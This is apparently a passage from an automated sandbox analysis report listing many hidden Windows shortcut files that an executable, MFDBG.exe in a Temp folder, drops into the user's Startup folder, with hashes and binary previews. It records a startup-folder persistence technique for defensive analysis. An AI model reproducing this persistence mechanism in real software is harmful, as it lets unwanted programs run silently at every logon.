File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919932715968261
Encrypted:	false
SSDEEP:	24:8fFBfJ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8/GEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FBFFA6F3785AB04F0A4F8DECBC2D217B
SHA1:	3DB7E1FD0B0E3C0C44B5558E6A0C0B3802291617
SHA-256:	FA1D83D96441C548735C1CB1F068A91D2EC3BE44A31328926CB67CF96640E61B
SHA-512:	3EABAB666D6CF5CF47E3BD23202185D8155F7333722C54179B09E007ACC06B536DF65659CAECDB5C1381E8A3139A28400A16F6D708FD2855EB027A9C2939DF20
Malicious:	false
Preview:	L..................F....".......d....v.\|d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....X\|d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4eb51f2ec09843a98b52d8590b1bc326.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920117891683293
Encrypted:	false
SSDEEP:	24:8QBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DA9FBB05B7A8EA6075AE3D4EE9C8B686
SHA1:	0B56ACEEE1E6877642BF823BE0A4B7FA2D0A8E69
SHA-256:	354CDC6B09068294CF22C5869FFFAD57F961D29994650BA695B3E23A66E8818B
SHA-512:	3ECA797646FD88A4EC5569C24476B333E4ADA236F0CBE3E64FD59E50CA3B46E02AB60D83D2C02E94126C9395153808A4347FFB233C6B13805CC42943821C4FA5
Malicious:	false
Preview:	L..................F....".......d.....h:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4ed775f1e87545de8158b854ee35e90e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929493886012551
Encrypted:	false
SSDEEP:	24:8PTBfh8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	69EBCC3C1131D1B7DB104321592F791D
SHA1:	192B2A598EDE1DA9F46BF842752F90EA44FBE842
SHA-256:	1A9A0273C1552D5196D97069CA31451B3AB816C0E415594865E617163E435293
SHA-512:	2CA4DE16524ACE2E562E3ECB5B994F8CAA583FD98FC0046CF3E4DF22AFAAEC1F2E17D89487E6F486388D0C869AF7629AEE6202EA1122418CB120C0E144A00C84
Malicious:	false
Preview:	L..................F....".......d.....($d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....($$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4edd4e7600f44da18fdec4c841f392e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:30 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925811555771069
Encrypted:	false
SSDEEP:	24:8bBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	FC5B9504672AD9CB5E07C98E1F7EC153
SHA1:	5F6C9B7C6EEB447DE67B0E29D99950E87391D30A
SHA-256:	FE957DBEA986891ECF1A96222AFDB2C3C6CFEDB74495435CBB081C12FF581873
SHA-512:	6A897E4858338A32C21AA00C99B02814DBF86B97E6B171BAF81AA52DA69197574F893E41441642BD07BD12D7D654AE83DCD239C7E4AB859BFB0A472827352E1A
Malicious:	false
Preview:	L..................F....".......d......Sd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4f96466b2ed940b2acfd32267540576b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926202839762764
Encrypted:	false
SSDEEP:	24:85Bf8f8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jZEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F47EF793AD27C7EF29AAFA4EBD2C2177
SHA1:	DA9C47EC6600BD30ECD8BAB0AB0E289F8E2F87B9
SHA-256:	2D5B8EE39414C5256C7D1BB63D722B8048D21F39B0AD14E8D3E4212800E85335
SHA-512:	6D5562BB3AA493FF2B45408B71A6FAC6D4E81F07ADAB62018CBEF362894A9F0BF0C60FD06FB603967F021C140BC6F81286FD7064FBB6B1894E900A556ADA67C3
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Q...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4fc701fb25354012b006fe86bdef5b2d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9188559706635235
Encrypted:	false
SSDEEP:	24:8C2BfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8C89EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CCE246DA0CA2C5516C4CAF1A163B8929
SHA1:	0C9ACC2FD6DF120E8E6AEA0C517635E1F16EDFF9
SHA-256:	081486AAD184675C8D55E1843DDC6BA56F6586664E546D71A77FEDBD2AD940C8
SHA-512:	D3B7800140C13E4F1C97535E9B97BCE833E03960D6304EF1BA666A134A039EDEBF7C2976FEF4E98677FE4A08D9514A3BC57825A71C752A064F0DA5395DC021B8
Malicious:	false
Preview:	L..................F....".......d...WY.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_503ca45bcc434106b7209a6b98512eb3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9308240842542475
Encrypted:	false
SSDEEP:	24:8tBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f4EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B9B9DEC2D4D5360AAC463F6EE1157B25
SHA1:	D6F7E40B76DD2CB71A7D23A2C057A9F6F28F1B96
SHA-256:	2BEB9A6633F83E388293CAEAC49E1B97C5AE02EFB46DC0654F4D398608352587
SHA-512:	A7D7FD74EFEA86881E0B779CC6DF531E7A0A1F477C4EB7BAD045A9AA9585CB6D6094C8672C0C4C9B7DB43CB289ADF478149C6ACE3C26C1DDB6E835493DED8EA7
Malicious:	false
Preview:	L..................F....".......d.....Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_50520ba9219343a1af42f14da8c2b8d3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9214732665872125
Encrypted:	false
SSDEEP:	24:8prBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8HREvZ0yRO7DLO2zdxdRd1kyg
MD5:	420DE77C49E80F50D071A6B3C0D5CCCA
SHA1:	450FDBFB6E92F0EBF2B49F7DFD81D82F72D72EB3
SHA-256:	BF3F9AB79FABE06C72269F241CC7CA2DA4D3A28DEDD442950A07CE092D1FC61B
SHA-512:	717A1E5D98760D597D480A8FFF4D6BE7E28F2352C2C25C5EEB576145B194277352A05A13616447E657974F30C845189B7315F1ADD329E5915B7888A16CD98C95
Malicious:	false
Preview:	L..................F....".......d....%.?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5067cc420a5343b5b6a89c50eb309968.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92110112175235
Encrypted:	false
SSDEEP:	24:8eBfD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80oEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8AC47F8F0BEF252CBBDD2F7B7CF58E06
SHA1:	11FB06745447FD112A2F6546C4C887C6CDD69FE4
SHA-256:	87011C59E92B502ED75272BE82B25ECBC1601977A12CF77C528699B6206B154A
SHA-512:	F564A386B3C6D978FF9B00097AA805D3104FC0E7474350E10C2E06D08F830FE263BF3151314035D8657F1D955967DAB4EB1E090DD8D7A5D5BA4671BDFE1D455A
Malicious:	false
Preview:	L..................F....".......d.....8%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c..._W6%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5134641573df41b69a45db2710390b5a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919555519138829
Encrypted:	false
SSDEEP:	24:8DBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8FWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D7BCAE0D9CE8E814DC8201DA4C41EEBB
SHA1:	507B4906CBED277986C0407A84EAD558EB436654
SHA-256:	A8A0BA1D4DF268ABAE08C6091E6CA7290BD828B7E8283D851C822CD9EE437C88
SHA-512:	35676F55AC11A2AD9156A56799844529A5911BA647DBC11722807A29BFF72D6230D41CE67A79BCAFD5F870C31A78EDEE44C67D9804AFD5350D8BDE7A14402E1C
Malicious:	false
Preview:	L..................F....".......d....d.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_515a65a7cfc64009b7177964872407ad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919909885520412
Encrypted:	false
SSDEEP:	24:8eBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:80REvZ0yRO7DLO2zdxdRd1kyg
MD5:	23072F89DDC3759B19842380E18E3807
SHA1:	A527AE32D9D21CEF09C6D60163D470B38A272848
SHA-256:	CBEF6B32E97188A76A11333522B8FED0F1B298F1AEEFB4BA4BA76DCE10B72FA6
SHA-512:	A01C3B6AB473CEBDF11C5508C82D0EFE86C0D16DA1DA1ECB18EC4E83C72483F8D050ED8DEAEE861B03142E76413DF9088CC0B848178209A8D975A1104EA1AB91
Malicious:	false
Preview:	L..................F....".......d....!?d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5168dff4b7a54dcfa42076af954117df.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925415304089124
Encrypted:	false
SSDEEP:	24:80rBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5937CDC5BE351EB7D9678491E62DA0B4
SHA1:	DF68B1F19DECF12A469884E7A7D6E6BB3ED3AFB2
SHA-256:	4A789BFAC629782B71DFA9DC615BC25CB90CECA16697A5BB1DEC7A5BAC579F0E
SHA-512:	1A2E0C504097576528AA874951A6143ABC8664AED354DCD22A26AC04B06FDCF32553035AD3658117D8EB4739D23FAE3E3FDD7395EF292BBEE4A2964E079C2AA4
Malicious:	false
Preview:	L..................F....".......d....#..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...-8..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5170b8dbaebf45ce8a1ad456acef273e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923386810368428
Encrypted:	false
SSDEEP:	24:8xBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8LhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5A918E854A27BD757AAD9989963F1EAD
SHA1:	7EDC850E920DCC3AF4DE5EBF5798DAD0DC7F5A31
SHA-256:	3CAC49EB2A685AE048BEF4199F62085FFE351A7B6EB312FB32A5CDB7EBF2EBD7
SHA-512:	F57958DF3DE1488ABCB80E447EE623A60B72B14F88A8C85378FD34B3AC20E7985B28FA5DA53FAF70894970BAC43A76B31C6EE78D3020AC3502310E27FA0990EE
Malicious:	false
Preview:	L..................F....".......d...fc.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5183c656c72d4385aa3e0f1a67f3e41e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
